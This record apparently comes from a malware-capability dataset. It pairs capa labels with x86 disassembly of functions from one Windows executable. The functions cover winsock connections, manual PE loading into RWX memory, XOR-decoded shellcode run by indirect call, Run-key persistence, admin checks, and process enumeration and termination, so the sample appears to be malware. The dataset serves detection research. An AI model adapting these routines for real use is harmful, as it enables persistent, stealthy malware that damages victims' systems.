joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d105
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a4
lea eax, [esp + 0x14]
push ebx
push esi
push edi
push eax
push 0x202
mov edi, edx
mov ebx, ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40d188
push eax
push 1
push 2
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x40d188
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
movsx ecx, word [eax + 0xa]
push ecx
mov ecx, dword [eax + 0xc]
lea eax, [esp + 0x18]
push dword [ecx]
push eax
call fcn.0040102c
add esp, 0xc
push 2
pop eax
push edi
mov word [esp + 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x40d188
mov eax, esi
jmp 0x40d18a
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40d19d
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov edi, ecx
call fcn.0040d191
mov esi, eax
test esi, esi
je 0x40d1d8
test edi, edi
je 0x40d1d8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor eax, eax
mov dword [esi + 0x104], ebx
push eax
push eax
push esi
push 0x40ce39
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
jmp 0x40d1e1
push esi
call fcn.004010c1
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x40d450
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
push 2
push 0
push dword [ecx]
mov edi, edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40d4ca
push 0x10
xor ebx, ebx
inc ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40d4ca
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40d4ca
mov ecx, dword [eax + 0x14]
mov edx, dword [eax + 0x28]
mov dword [edi], ecx
mov cx, word [eax + 0x1a]
mov word [edi + 4], cx
mov cx, word [eax + 0x18]
mov eax, edx
and eax, ebx
mov word [edi + 6], cx
mov dword [edi + 8], eax
mov ecx, edx
mov eax, edx
shr ecx, 3
shr eax, 1
and ecx, ebx
shr edx, 5
and eax, ebx
and edx, ebx
mov dword [edi + 0xc], eax
push esi
mov dword [edi + 0x10], ecx
mov dword [edi + 0x14], edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, ebx
jmp 0x40d4cc
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x40d51c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push esi
push edi
push 0x208
push 0
push eax
mov esi, edx
mov edi, ecx
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x208]
push 0
push esi
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x208]
mov ecx, edi
push eax
call fcn.004033ab
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x40d965
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi], ebx
je 0x40d97b
lea ecx, [edi + 0xc]
call fcn.0040dd97
mov ecx, dword [ebp + 0xc]
push esi
mov dword [ebp - 4], ebx
call fcn.00405878
push dword [ebp + 0x10]
mov esi, eax
push ebx
push ebx
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push esi
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov ebx, eax
push esi
call fcn.00402d5a
mov ecx, esi
call fcn.004058fb
cmp dword [edi], 0
pop esi
je 0x40d9cd
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x40da4f
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
and dword [ebp - 0x10], 0
push ebx
push esi
push edi
push 5
pop eax
mov edi, ecx
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x14], eax
call fcn.00401815
lea eax, [ebp - 0x284]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jmp 0x40db26
and dword [ebp - 0x34], 0
test byte [ebp - 0x284], 0x10
je 0x40daaa
xorps xmm0, xmm0
mov dword [ebp - 0x24], 1
movlpd qword [ebp - 0x2c], xmm0
jmp 0x40dac0
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 0x268]
and dword [ebp - 0x24], 0
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
lea eax, [ebp - 0x258]
push eax
lea ecx, [ebp - 8]
call fcn.004033ab
push eax
lea ecx, [ebp - 0x34]
call fcn.004031fd
mov ecx, dword [ebp - 8]
call fcn.004058fb
and dword [ebp - 8], 0
lea eax, [ebp - 0x34]
sub esp, 0x18
mov esi, esp
mov ecx, esi
push eax
call fcn.004033f3
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x18]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x28]
mov dword [esi + 0xc], eax
mov eax, dword [ebp - 0x24]
mov dword [esi + 0x10], eax
call fcn.00401716
mov ecx, dword [ebp - 0x34]
call fcn.004058fb
lea eax, [ebp - 0x284]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40da8c
lea eax, [ebp - 0x18]
mov ecx, edi
push eax
call fcn.00401301
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x40db44
push ecx
call fcn.00401a75
mov ecx, dword [ebp + 8]
call fcn.004058fb
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40db53
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov edi, ecx
mov ecx, 0x208
mov dword [ebp - 8], edi
call fcn.004059a9
and dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x24]
push 5
mov ebx, eax
pop eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], eax
call fcn.00401996
push ebx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov esi, eax
cmp esi, 0x104
jbe 0x40dbb5
xor ecx, ecx
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
call fcn.004059a9
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
xor esi, esi
cmp word [ebx], si
je 0x40dc2e
push ebx
lea ecx, [ebp - 4]
mov dword [ebp - 0x14], esi
call fcn.004033ab
push eax
lea ecx, [ebp - 0x14]
call fcn.004031fd
mov ecx, dword [ebp - 4]
call fcn.004058fb
push dword [ebp - 0x14]
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
sub esp, 0xc
mov edi, eax
mov esi, esp
mov dword [ebp - 0x10], edi
lea eax, [ebp - 0x14]
mov ecx, esi
push eax
call fcn.004033f3
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 0x24]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
call fcn.004018a3
lea ecx, [ebp - 0x14]
call fcn.00403027
mov ecx, dword [ebp - 0x14]
lea ebx, [ebx + eax*2]
add ebx, 2
call fcn.004058fb
xor esi, esi
mov dword [ebp - 0x14], esi
cmp word [ebx], si
jne 0x40dbbc
mov edi, dword [ebp - 8]
lea eax, [ebp - 0x24]
mov ecx, edi
push eax
call fcn.00401348
mov ecx, dword [ebp - 0x24]
test ecx, ecx
je 0x40dc46
push ecx
call fcn.00401aa0
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40dc65
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp dword [esi], ebx
je 0x40dc7c
lea ecx, [esi + 0xc]
call fcn.0040dd97
push 2
push ebx
push ebx
push dword [esi + 8]
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push ebx
push ecx
push dword [eax + 4]
push dword [eax]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, eax
cmp dword [esi], ebx
je 0x40dcb1
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x40dcba
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
push edi
push 3
push edi
push 1
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 8], eax
cmp eax, 0xffffffff
je 0x40dcee
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 0x14], eax
xor eax, eax
inc eax
jmp 0x40dcf3
mov dword [esi + 8], edi
xor eax, eax
pop edi
pop esi
pop ebp
ret 8
Function at 0x40de6e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov eax, 0x5a4d
mov dword [esi + 0x20], edi
cmp word [edi], ax
jne 0x40df6e
mov eax, dword [edi + 0x3c]
add eax, edi
cmp dword [eax], 0x4550
jne 0x40df6e
movzx ecx, word [eax + 4]
mov edx, 0x14c
cmp cx, dx
jne 0x40df07
mov dword [esi + 0x40], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x24], eax
push dword [eax + 0x54]
push edi
call fcn.00402d5a
mov ecx, dword [esi + 0x24]
and dword [ebp + 8], 0
movzx eax, word [ecx + 0x14]
lea ebx, [ecx + 0x18]
add ebx, eax
xor eax, eax
cmp ax, word [ecx + 6]
jae 0x40df66
sub esp, 0x30
mov ecx, esp
push ecx
push ebx
push edi
call fcn.0040e5e2
lea ecx, [esi + 0x2c]
call fcn.004021d9
mov eax, dword [esi + 0x24]
add ebx, 0x28
mov ecx, dword [ebp + 8]
inc ecx
mov dword [ebp + 8], ecx
movzx eax, word [eax + 6]
cmp ecx, eax
jl 0x40dedb
jmp 0x40df66
mov edx, 0x8664
cmp cx, dx
jne 0x40df66
xor ebx, ebx
mov dword [esi + 0x28], eax
mov dword [esi + 0x40], ebx
lea ecx, [esi + 0x18]
push dword [eax + 0x54]
push edi
call fcn.00402d5a
mov ecx, dword [esi + 0x28]
xor edx, edx
movzx eax, word [ecx + 0x14]
add eax, 0x18
add eax, ecx
mov dword [ebp + 8], eax
cmp dx, word [ecx + 6]
jae 0x40df66
sub esp, 0x30
mov ecx, esp
push ecx
push eax
push edi
call fcn.0040e5e2
lea ecx, [esi + 0x2c]
call fcn.004021d9
mov ecx, dword [esi + 0x28]
inc ebx
mov eax, dword [ebp + 8]
add eax, 0x28
mov dword [ebp + 8], eax
movzx ecx, word [ecx + 6]
cmp ebx, ecx
jl 0x40df3c
xor eax, eax
inc eax
mov dword [esi + 0x3c], eax
jmp 0x40df70
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x40e148
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
push esi
push edi
mov edi, dword [eax + 0xc]
add edi, 0x14
mov esi, dword [edi]
jmp 0x40e168
mov ecx, dword [esi + 0x28]
call fcn.0040e206
test eax, eax
je 0x40e171
mov esi, dword [esi]
cmp esi, edi
jne 0x40e15a
xor eax, eax
pop edi
pop esi
ret
mov eax, dword [esi + 0x10]
jmp 0x40e16e

Function at 0x40e1ec
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x40e203
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
je 0x40e205
xor eax, eax
ret
Function at 0x40e491
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0xc], esi
call fcn.0040e1ec
mov ebx, eax
test ebx, ebx
je 0x40e572
push 0x40
push 0x3000
push dword [ebx + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x40e572
movzx eax, word [ebx + 0x14]
add eax, 0x18
add eax, ebx
mov dword [ebp - 4], eax
push dword [eax + 0x14]
push esi
push edi
call fcn.0040102c
xor ecx, ecx
add esp, 0xc
xor eax, eax
cmp cx, word [ebx + 6]
jmp 0x40e531
movzx eax, ax
imul esi, eax, 0x28
mov eax, dword [ebp - 4]
push dword [esi + eax + 8]
mov eax, dword [esi + eax + 0xc]
add eax, edi
push 0
push eax
call fcn.00401052
mov ecx, dword [ebp - 4]
add esp, 0xc
push dword [esi + ecx + 0x10]
mov eax, dword [esi + ecx + 0x14]
add eax, dword [ebp - 0xc]
push eax
mov eax, dword [esi + ecx + 0xc]
add eax, edi
push eax
call fcn.0040102c
mov eax, dword [ebp - 8]
add esp, 0xc
inc eax
cmp ax, word [ebx + 6]
mov dword [ebp - 8], eax
jb 0x40e4ed
mov ecx, edi
call fcn.0040e425
mov ecx, eax
mov esi, edx
mov eax, edi
cdq
sub eax, ecx
mov ecx, edi
sbb edx, esi
push edx
push eax
call fcn.0040e27e
pop ecx
pop ecx
test al, al
je 0x40e56e
mov ecx, edi
call fcn.0040e2ec
test al, al
je 0x40e56e
mov eax, dword [ebx + 0x28]
push 0
push 1
push edi
add eax, edi
call eax
mov eax, edi
jmp 0x40e574
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40e6c4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push 0x44
xor ebx, ebx
lea eax, [ebp - 0x54]
push ebx
push eax
mov esi, ecx
call fcn.00401052
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x10]
add esp, 0xc
mov dword [ebp - 0x54], 0x44
mov ecx, dword [eax]
mov eax, dword [ebp + 8]
push edx
lea edx, [ebp - 0x54]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40e713
mov eax, dword [ebp - 0x10]
mov dword [esi], eax
xor eax, eax
inc eax
jmp 0x40e715
xor eax, eax
pop esi
pop ebx
leave
ret 0xc

Function at 0x40e764
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push edi
push 0
push 2
mov ebx, edx
mov dword [ebp - 0x22c], 0x22c
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x40e7c0
lea eax, [ebp - 0x22c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x40e7b5
cmp dword [ebp - 0x224], ebx
je 0x40e7ca
lea eax, [ebp - 0x22c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40e79f
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [esi], 0
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x208]
mov ecx, esi
push eax
call fcn.004033ab
jmp 0x40e7c3
Function at 0x40e7e1
Capabilities:
Terminate process

Disassembly:
push edi
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x40e80b
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop edi
ret
xor eax, eax
pop edi
ret
Function at 0x40e80f
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
push edi
push 0x228
xor esi, esi
lea eax, [ebp - 0x254]
push esi
push eax
mov ebx, ecx
call fcn.00401052
add esp, 0xc
mov dword [ebp - 0x258], 0x22c
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x20], esi
push 5
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
call fcn.00401683
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x40e9e8
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x40e8b9
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x28]
mov ecx, ebx
push eax
call fcn.004012ba
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x40ea15
mov esi, dword [eax - 4]
imul edi, esi, 0xc
add edi, eax
test esi, esi
je 0x40ea15
sub edi, 0xc
mov ecx, edi
call fcn.004013b6
sub esi, 1
jne 0x40e8a5
jmp 0x40ea15
mov eax, dword [ebp - 0x250]
lea ecx, [ebp - 8]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x234]
push eax
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call fcn.004030c5
push dword [ebp - 0x250]
push esi
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, 0xffffffff
je 0x40e974
push 0x410
lea eax, [ebp - 0x668]
push 0
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x668]
push 0x208
push eax
push 0
push esi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExW]
test eax, eax
je 0x40e949
lea eax, [ebp - 0x668]
push eax
lea ecx, [ebp - 0x10]
call fcn.004033ab
push eax
lea ecx, [ebp - 4]
call fcn.004031fd
mov ecx, dword [ebp - 0x10]
call fcn.004058fb
and dword [ebp - 0x10], 0
jmp 0x40e96b
push 0x412904
lea ecx, [ebp - 0x14]
call fcn.004033ab
push eax
lea ecx, [ebp - 4]
call fcn.004031fd
mov ecx, dword [ebp - 0x14]
call fcn.004058fb
and dword [ebp - 0x14], 0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40e996
push 0x412904
lea ecx, [ebp - 0x18]
call fcn.004033ab
push eax
lea ecx, [ebp - 4]
call fcn.004031fd
mov ecx, dword [ebp - 0x18]
call fcn.004058fb
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 0xc]
sub esp, 0xc
mov esi, esp
mov dword [esi], eax
lea ecx, [esi + 4]
lea eax, [ebp - 8]
push eax
call fcn.004033f3
lea eax, [ebp - 4]
push eax
lea ecx, [esi + 8]
call fcn.004033f3
lea ecx, [ebp - 0x28]
call fcn.00401560
lea ecx, [ebp - 0xc]
call fcn.004013b6
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
push 0
pop esi
test eax, eax
jne 0x40e8b9
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x28]
mov ecx, ebx
push eax
call fcn.004012ba
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x40ea15
mov esi, dword [eax - 4]
imul edi, esi, 0xc
add edi, eax
test esi, esi
je 0x40ea15
sub edi, 0xc
mov ecx, edi
call fcn.004013b6
sub esi, 1
jne 0x40ea06
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x40ec15
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp - 4]
call fcn.0040d1e6
push 0xa
pop edx
lea ecx, [ebp - 8]
call fcn.0040326d
push ecx
push ecx
lea eax, [edi + 0x10]
push eax
push ecx
mov ecx, edi
call fcn.0040ea59
mov ecx, edi
mov esi, eax
call fcn.0040ea99
xor ebx, ebx
test esi, esi
mov esi, dword [ebp + 8]
je 0x40ed1b
test esi, esi
je 0x40ed1b
mov edx, dword [edi + 0xc]
lea ecx, [ebp + 8]
call fcn.0040d51c
push eax
lea ecx, [edi + 0x20]
call fcn.004031fd
mov ecx, dword [ebp + 8]
call fcn.004058fb
lea ecx, [edi + 0x20]
call fcn.0040d4d0
lea eax, [edi + 0x4c]
push eax
lea ecx, [ebp + 8]
call fcn.004033f3
push 0x412464
lea ecx, [edi + 0x20]
call fcn.00403230
lea ecx, [ebp + 8]
push ecx
mov ecx, eax
call fcn.004030fb
mov ecx, dword [ebp + 8]
call fcn.004058fb
push ebx
push dword [edi + 0x20]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40ed91
push ecx
push ecx
push esp
lea ecx, [edi + 0x20]
call fcn.00402fe7
push ecx
push ecx
push esp
lea ecx, [edi + 0x30]
call fcn.004053aa
lea ecx, [ebp - 0x10]
call fcn.00405b00
add esp, 0x10
lea eax, [edi + 0x10]
mov ecx, edi
push ebx
push 0xf003f
push eax
push 0x80000001
call fcn.0040eb4b
push 3
lea eax, [ebp - 0x10]
mov ecx, edi
push eax
lea eax, [edi + 0x18]
push eax
call fcn.0040eb18
mov ecx, edi
call fcn.0040ea99
lea ecx, [ebp - 0x10]
call fcn.00402dff
cmp dword [ebp + 0xc], ebx
je 0x40ed8e
test esi, esi
jne 0x40ed30
lea ecx, [ebp - 4]
push ecx
lea ecx, [edi + 0x20]
call fcn.004031fd
push ebx
push 0x20006
lea eax, [edi + 0x14]
push eax
push dword [edi + 8]
lea ecx, [edi + 4]
call fcn.0040eb4b
test eax, eax
je 0x40ed91
lea eax, [edi + 0x54]
push eax
lea ecx, [ebp + 8]
call fcn.004033f3
push 1
lea eax, [edi + 0x20]
push eax
lea ecx, [ebp - 0x10]
call fcn.00402da3
push eax
lea eax, [ebp + 8]
push eax
lea ecx, [edi + 4]
call fcn.0040eb18
mov ecx, dword [ebp + 8]
mov esi, eax
call fcn.004058fb
lea ecx, [ebp - 0x10]
call fcn.00402dff
test esi, esi
je 0x40ed91
lea ecx, [edi + 4]
call fcn.0040ea99
xor ebx, ebx
inc ebx
mov ecx, dword [ebp - 8]
call fcn.004058fb
mov ecx, dword [ebp - 4]
call fcn.004058fb
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x40edaa
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
push ebx
lea ecx, [edi + 0x30]
call fcn.0040230d
call fcn.0040d724
cmp eax, 1
jne 0x40edd4
push 0x23
mov ecx, 0x80000002
jmp 0x40eddb
push 0x1a
mov ecx, 0x80000001
pop eax
mov dword [edi + 8], ecx
lea esi, [edi + 0x10]
push str.SoftwareMicrosoftWindowsCurrentVersionExplorer_
lea ecx, [ebp + 8]
mov dword [edi + 0xc], eax
call fcn.004033ab
push eax
mov ecx, esi
call fcn.004031fd
mov ecx, dword [ebp + 8]
call fcn.004058fb
lea eax, [ebx + 0x30]
push eax
lea ecx, [ebp + 8]
call fcn.004033f3
lea eax, [ebp + 8]
mov ecx, esi
push eax
call fcn.004030fb
mov ecx, dword [ebp + 8]
call fcn.004058fb
push str.inst
lea ecx, [ebp + 8]
call fcn.004033ab
push eax
lea ecx, [edi + 0x18]
call fcn.004031fd
mov ecx, dword [ebp + 8]
call fcn.004058fb
push str.InitWindows
lea ecx, [ebp + 8]
call fcn.004033ab
push eax
lea ecx, [edi + 0x1c]
call fcn.004031fd
mov ecx, dword [ebp + 8]
call fcn.004058fb
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
lea ecx, [ebp + 8]
call fcn.004033ab
push eax
lea ecx, [edi + 0x14]
call fcn.004031fd
mov ecx, dword [ebp + 8]
call fcn.004058fb
push 0
push 0xf003f
push esi
push 0x80000001
mov ecx, edi
call fcn.0040eb4b
mov dword [edi + 0x24], eax
test eax, eax
je 0x40ef35
xor esi, esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
cmp dword [ebx + 0x18], esi
je 0x40ef0f
lea eax, [ebp - 0xc]
mov ecx, edi
push eax
lea eax, [edi + 0x18]
push eax
call fcn.0040eaae
test eax, eax
je 0x40ef0c
lea eax, [ebp + 8]
push eax
push ecx
push ecx
lea eax, [ebp - 0xc]
mov ecx, esp
push eax
call fcn.00402e12
push ecx
push ecx
push esp
mov ecx, ebx
call fcn.004053aa
lea ecx, [ebp - 0x14]
call fcn.00405b00
add esp, 0x10
mov ecx, eax
call fcn.00402ca1
push eax
lea ecx, [edi + 0x20]
call fcn.004031fd
mov ecx, dword [ebp + 8]
call fcn.004058fb
lea ecx, [ebp - 0x14]
mov dword [ebp + 8], esi
call fcn.00402dff
mov dword [edi + 0x28], 1
jmp 0x40ef0f
mov dword [edi + 0x28], esi
cmp dword [ebx + 0x20], esi
je 0x40ef2d
lea ecx, [ebp + 8]
call fcn.0040d1e6
push eax
lea ecx, [edi + 0x20]
call fcn.004031fd
mov ecx, dword [ebp + 8]
call fcn.004058fb
lea ecx, [ebp - 0xc]
call fcn.00402dff
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40f159
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x800
mov ebx, ecx
call fcn.004010ad
mov edi, eax
mov esi, 0x413bf0
pop ecx
mov edx, edi
sub esi, edi
mov eax, 0x601
mov cl, byte [esi + edx]
xor cl, 0x45
mov byte [edx], cl
inc edx
sub eax, 1
jne 0x40f17d
lea eax, [ebp - 4]
push eax
push 0x40
push 0x7d0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x40
push 0x1000
push 0x1fe
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0x28
push 0x41452c
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [esi + eax*2]
push ecx
call fcn.0040102c
add esp, 0xc
lea eax, [edi + 0xef]
push 0
push 0
push ebx
push esi
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40f1ec
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov esi, 0xf003f
push eax
push esi
xor edi, edi
mov ebx, 0x4144fc
push edi
push ebx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40f22f
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push edi
push esi
push edi
push edi
push edi
push ebx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, 0x4168c0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 2
push eax
push esi
push 1
push edi
push 0x41451c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40f25f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov edi, 0x208
xor ebx, ebx
push edi
push ebx
mov esi, 0x4168c0
push esi
call fcn.00401052
add esp, 0xc
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x40f2c1
call fcn.0040f1ec
push 0x414554
push 0x66
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
push edi
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, eax
call fcn.0040f159
pop edi
pop esi
xor eax, eax
pop ebx
ret